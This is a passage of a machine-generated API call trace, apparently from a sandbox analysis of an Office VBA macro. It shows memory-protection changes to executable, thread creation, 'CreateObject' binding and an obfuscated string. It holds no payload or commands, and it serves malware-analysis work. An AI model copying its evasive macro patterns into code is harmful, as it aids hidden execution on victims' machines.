lpBaseAddress=0x827b400, dwSize=0x5d) returned 1 [0036.970] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.970] IMalloc:Alloc (This=0x7feff045380, cb=0x14) returned 0x81b6f00 [0036.970] IMalloc:Realloc (This=0x7feff045380, pv=0x81b6f00, cb=0x34) returned 0x7e68880 [0036.970] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f09300 [0036.971] IMalloc:Free (This=0x7feff045380, pv=0x7e68880) [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x13) returned 0x81b6f00 [0036.971] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f3b0 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e9, dwSize=0x8) returned 1 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e8, dwSize=0x8) returned 1 [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x16) returned 0x81b6f00 [0036.971] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f410 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278031, dwSize=0x8) returned 1 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278030, dwSize=0x8) returned 1 [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x12) returned 0x81b6f00 [0036.971] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f470 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160941, dwSize=0x8) returned 1 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160940, dwSize=0x8) returned 1 [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x12) returned 0x81b6f00 [0036.971] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f4d0 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278279, dwSize=0x8) returned 1 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.971] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278278, dwSize=0x8) returned 1 [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b6f00 [0036.971] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.971] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f530 [0036.971] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278369, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278368, dwSize=0x8) returned 1 [0036.972] IMalloc:Alloc (This=0x7feff045380, cb=0x12) returned 0x81b6f00 [0036.972] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.972] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f590 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278541, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278540, dwSize=0x8) returned 1 [0036.972] IMalloc:Alloc (This=0x7feff045380, cb=0x12) returned 0x81b6f00 [0036.972] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.972] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f5f0 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278681, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278680, dwSize=0x8) returned 1 [0036.972] IMalloc:Alloc (This=0x7feff045380, cb=0x13) returned 0x81b6f00 [0036.972] IMalloc:Free (This=0x7feff045380, pv=0x81b6f00) [0036.972] IMalloc:Alloc (This=0x7feff045380, cb=0x58) returned 0x805f650 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278771, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278770, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160888, dwSize=0x39) returned 1 [0036.972] VirtualProtect (in: lpAddress=0x8160888, dwSize=0x39, flNewProtect=0x40, lpflOldProtect=0x266c9c | out: lpflOldProtect=0x266c9c*=0x4) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e9, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e8, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608f8, dwSize=0x2) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8277fa0, dwSize=0x5d) returned 1 [0036.972] VirtualProtect (in: lpAddress=0x8277fa0, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x4) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.972] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160941, dwSize=0x8) returned 1 [0036.972] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160940, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160950, dwSize=0x2) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82781ec, dwSize=0x57) returned 1 [0036.973] VirtualProtect (in: lpAddress=0x82781ec, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x4) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278031, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278030, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278040, dwSize=0x2) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278098, dwSize=0x93) returned 1 [0036.973] VirtualProtect (in: lpAddress=0x8278098, dwSize=0x94, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278279, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278278, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278288, dwSize=0x2) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82782dc, dwSize=0x57) returned 1 [0036.973] VirtualProtect (in: lpAddress=0x82782dc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278369, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278368, dwSize=0x8) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278378, dwSize=0x2) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827843c, dwSize=0x45) returned 1 [0036.973] VirtualProtect (in: lpAddress=0x827843c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82784c4, dwSize=0x45) returned 1 [0036.973] VirtualProtect (in: lpAddress=0x82784c4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.973] GetCurrentProcess () returned 0xffffffffffffffff [0036.973] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278541, dwSize=0x8) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278540, dwSize=0x8) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278550, dwSize=0x2) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82785a4, dwSize=0x55) returned 1 [0036.974] VirtualProtect (in: lpAddress=0x82785a4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278681, dwSize=0x8) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278680, dwSize=0x8) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278690, dwSize=0x2) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82786e4, dwSize=0x55) returned 1 [0036.974] VirtualProtect (in: lpAddress=0x82786e4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278771, dwSize=0x8) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278770, dwSize=0x8) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278780, dwSize=0x2) returned 1 [0036.974] GetCurrentProcess () returned 0xffffffffffffffff [0036.974] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82787d8, dwSize=0x5d) returned 1 [0036.974] VirtualProtect (in: lpAddress=0x82787d8, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x266c3c | out: lpflOldProtect=0x266c3c*=0x40) returned 1 [0036.975] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.975] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.975] IUnknown:AddRef (This=0x8087de0) returned 0x3 [0036.975] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2677f8 | out: ppvObject=0x2677f8*=0x0) returned 0x80004002 [0036.975] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2677f0 | out: ppvObject=0x2677f0*=0x0) returned 0x80004002 [0036.975] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.975] IUnknown:AddRef (This=0x8087e90) returned 0x9 [0036.975] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2677f8 | out: ppvObject=0x2677f8*=0x0) returned 0x80004002 [0036.975] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2677f0 | out: ppvObject=0x2677f0*=0x0) returned 0x80004002 [0036.975] IUnknown:Release (This=0x8087e90) returned 0x8 [0036.975] IUnknown:AddRef (This=0x8087d30) returned 0x2 [0036.975] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2677f8 | out: ppvObject=0x2677f8*=0x0) returned 0x80004002 [0036.975] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2677f0 | out: ppvObject=0x2677f0*=0x0) returned 0x80004002 [0036.975] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.975] IMalloc:Alloc (This=0x7feff045380, cb=0x8) returned 0x8228fc0 [0036.975] IMalloc:GetSize (This=0x7feff045380, pv=0x8228fc0) returned 0x8 [0036.975] IMalloc:Alloc (This=0x7feff045380, cb=0x78) returned 0x823b020 [0036.975] IMalloc:GetSize (This=0x7feff045380, pv=0x823b020) returned 0x78 [0036.975] IUnknown:AddRef (This=0x8087e90) returned 0x9 [0036.975] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2678d8 | out: ppvObject=0x2678d8*=0x0) returned 0x80004002 [0036.975] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2678d0 | out: ppvObject=0x2678d0*=0x0) returned 0x80004002 [0036.976] IUnknown:Release (This=0x8087e90) returned 0x8 [0036.976] IMalloc:Alloc (This=0x7feff045380, cb=0x8) returned 0x82290b0 [0036.976] IMalloc:GetSize (This=0x7feff045380, pv=0x82290b0) returned 0x8 [0036.976] IMalloc:Alloc (This=0x7feff045380, cb=0x78) returned 0x823b0a0 [0036.976] IMalloc:GetSize (This=0x7feff045380, pv=0x823b0a0) returned 0x78 [0036.976] IMalloc:Alloc (This=0x7feff045380, cb=0x8) returned 0x82290c0 [0036.976] IMalloc:GetSize (This=0x7feff045380, pv=0x82290c0) returned 0x8 [0036.976] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819e070 [0036.976] IMalloc:GetSize (This=0x7feff045380, pv=0x819e070) returned 0x80 [0036.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0036.976] IMalloc:Alloc (This=0x7feff045380, cb=0x40) returned 0x7ff4580 [0036.977] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0x266980 | out: phkResult=0x266980*=0x9f4) returned 0x0 [0036.977] RegQueryValueExA (in: hKey=0x9f4, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0x266978, lpcbData=0x266970*=0x4 | out: lpType=0x0, lpData=0x266978*=0xe7, lpcbData=0x266970*=0x4) returned 0x2 [0036.977] RegCloseKey (hKey=0x9f4) returned 0x0 [0036.977] DispCallFunc (pvInstance=0x819e0d8, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x266b90) [0036.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee3ce1778, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x266660 | out: lpThreadId=0x266660*=0x9f4) returned 0x9f4 [0036.978] PeekMessageA (in: lpMsg=0x266600, hWnd=0x101fc, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x266600) returned 0 [0036.980] GetActiveWindow () returned 0x201bc [0036.980] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0036.980] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x30) returned 0x7e68900 [0036.980] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x33a0000 [0036.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8274e16, cbMultiByte=26, lpWideCharStr=0x33a00dc, cchWideChar=54 | out: lpWideCharStr="938F9FAEA5ACB06A8FA4A1A8A8") returned 26 [0036.981] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f09750 [0036.981] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x200) returned 0x80f16a0 [0036.981] IMalloc:Alloc (This=0x7feff045380, cb=0xc0) returned 0x8225a30 [0036.981] IMalloc:GetSize (This=0x7feff045380, pv=0x8225a30) returned 0xc0 [0036.981] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.981] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.981] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.981] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.981] GetCurrentProcess () returned 0xffffffffffffffff [0036.981] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x54) returned 1 [0036.981] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.981] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f09ba0 [0036.981] IMalloc:Alloc (This=0x7feff045380, cb=0x318) returned 0x827b400 [0036.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CreateObject") returned 0x108af8 [0036.982] strcpy_s (in: _Dst=0x264d00, _DstSize=0xd, _Src="CreateObject" | out: _Dst="CreateObject") returned 0x0 [0036.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264d00, cbMultiByte=13, lpWideCharStr=0x264b50, cchWideChar=13 | out: lpWideCharStr="CreateObject") returned 13 [0036.982] IUnknown:AddRef (This=0x7f8b790) returned 0x8 [0036.982] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="CreateObject", lHashVal=0x108af8, pfName=0x264c20, pBstrLibName=0x264b50 | out: pfName=0x264c20*=1, pBstrLibName=0x264b50) returned 0x0 [0036.982] IUnknown:Release (This=0x7f8b790) returned 0x7 [0036.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateObject", cchWideChar=-1, lpMultiByteStr=0x264d00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateObject", lpUsedDefaultChar=0x0) returned 13 [0036.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CreateObject") returned 0x108af8 [0036.982] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.982] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232cfe, cbMultiByte=13, lpWideCharStr=0x264c80, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13 [0036.982] ITypeComp:RemoteBind (in: This=0x8087de8, szName="CreateObject", lHashVal=0x108af8, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.982] IMalloc:Realloc (This=0x7feff045380, pv=0x819b640, cb=0x100) returned 0x8195b70 [0036.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff2ce6, cbMultiByte=13, lpWideCharStr=0x264de0, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13 [0036.982] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="CreateObject", lHashVal=0x108af8, wFlags=0x3, ppTInfo=0x264d98, pDescKind=0x264dac, ppFuncDesc=0x264db0, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264d98*=0x81ddbb8, pDescKind=0x264dac*=1, ppFuncDesc=0x264db0, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.982] ITypeInfo:RemoteGetTypeAttr (in: This=0x81ddbb8, ppTypeAttr=0x264da0, pDummy=0x1 | out: ppTypeAttr=0x264da0, pDummy=0x1) returned 0x0 [0036.982] ITypeInfo:LocalReleaseTypeAttr (This=0x81ddbb8) returned 0x0 [0036.982] IMalloc:Realloc (This=0x7feff045380, pv=0x819df50, cb=0x100) returned 0x8195c80 [0036.982] SysStringByteLen (bstr="") returned 0x0 [0036.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x264b10, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pL&", lpUsedDefaultChar=0x0) returned 0 [0036.982] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264b40 | out: ppvObject=0x264b40*=0x81ddbb8) returned 0x0 [0036.982] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x81ddbb8, memid=1610612738, invkind=1, pFuncIndex=0x264b38 | out: pFuncIndex=0x264b38*=0x2) returned 0x0 [0036.982] ITypeInfo2:GetParamCustData (in: This=0x81ddbb8, indexFunc=0x2, indexParam=0x1, GUID=0x7fee4094e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x264b48 | out: pVarVal=0x264b48*(varType=0x0, wReserved1=0x819, wReserved2=0x0, wReserved3=0x0, varVal1=0x81f7420, varVal2=0x265858)) returned 0x0 [0036.982] IUnknown:Release (This=0x81ddbb8) returned 0x1 [0036.982] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264c00 | out: ppvObject=0x264c00*=0x81ddbb8) returned 0x0 [0036.982] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x81ddbb8, memid=1610612738, invkind=1, pFuncIndex=0x264c40 | out: pFuncIndex=0x264c40*=0x2) returned 0x0 [0036.982] ITypeInfo2:GetFuncCustData (in: This=0x81ddbb8, index=0x2, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264c58 | out: pVarVal=0x264c58*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x108af8)) returned 0x0 [0036.982] IUnknown:Release (This=0x81ddbb8) returned 0x1 [0036.982] IUnknown:AddRef (This=0x81ddbb8) returned 0x2 [0036.982] ITypeInfo:LocalReleaseFuncDesc (This=0x81ddbb8) returned 0x0 [0036.982] IUnknown:Release (This=0x81ddbb8) returned 0x1 [0036.982] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ec8 | out: ppvObject=0x264ec8*=0x0) returned 0x80004002 [0036.982] IUnknown:AddRef (This=0x81ddbb8) returned 0x2 [0036.982] IMalloc:Realloc (This=0x7feff045380, pv=0x81c8a50, cb=0x40) returned 0x7ff45d0 [0036.983] IMalloc:Realloc (This=0x7feff045380, pv=0x81c8a80, cb=0x50) returned 0x805f6b0 [0036.983] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264e50 | out: ppvObject=0x264e50*=0x0) returned 0x80004002 [0036.983] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264e20 | out: ppvObject=0x264e20*=0x0) returned 0x80004002 [0036.983] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264e10 | out: ppvObject=0x264e10*=0x0) returned 0x80004002 [0036.983] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264e18 | out: ppvObject=0x264e18*=0x0) returned 0x80004002 [0036.983] ITypeInfo:RemoteGetTypeAttr (in: This=0x81ddbb8, ppTypeAttr=0x264e48, pDummy=0x10 | out: ppTypeAttr=0x264e48, pDummy=0x10) returned 0x0 [0036.983] ITypeInfo:LocalReleaseTypeAttr 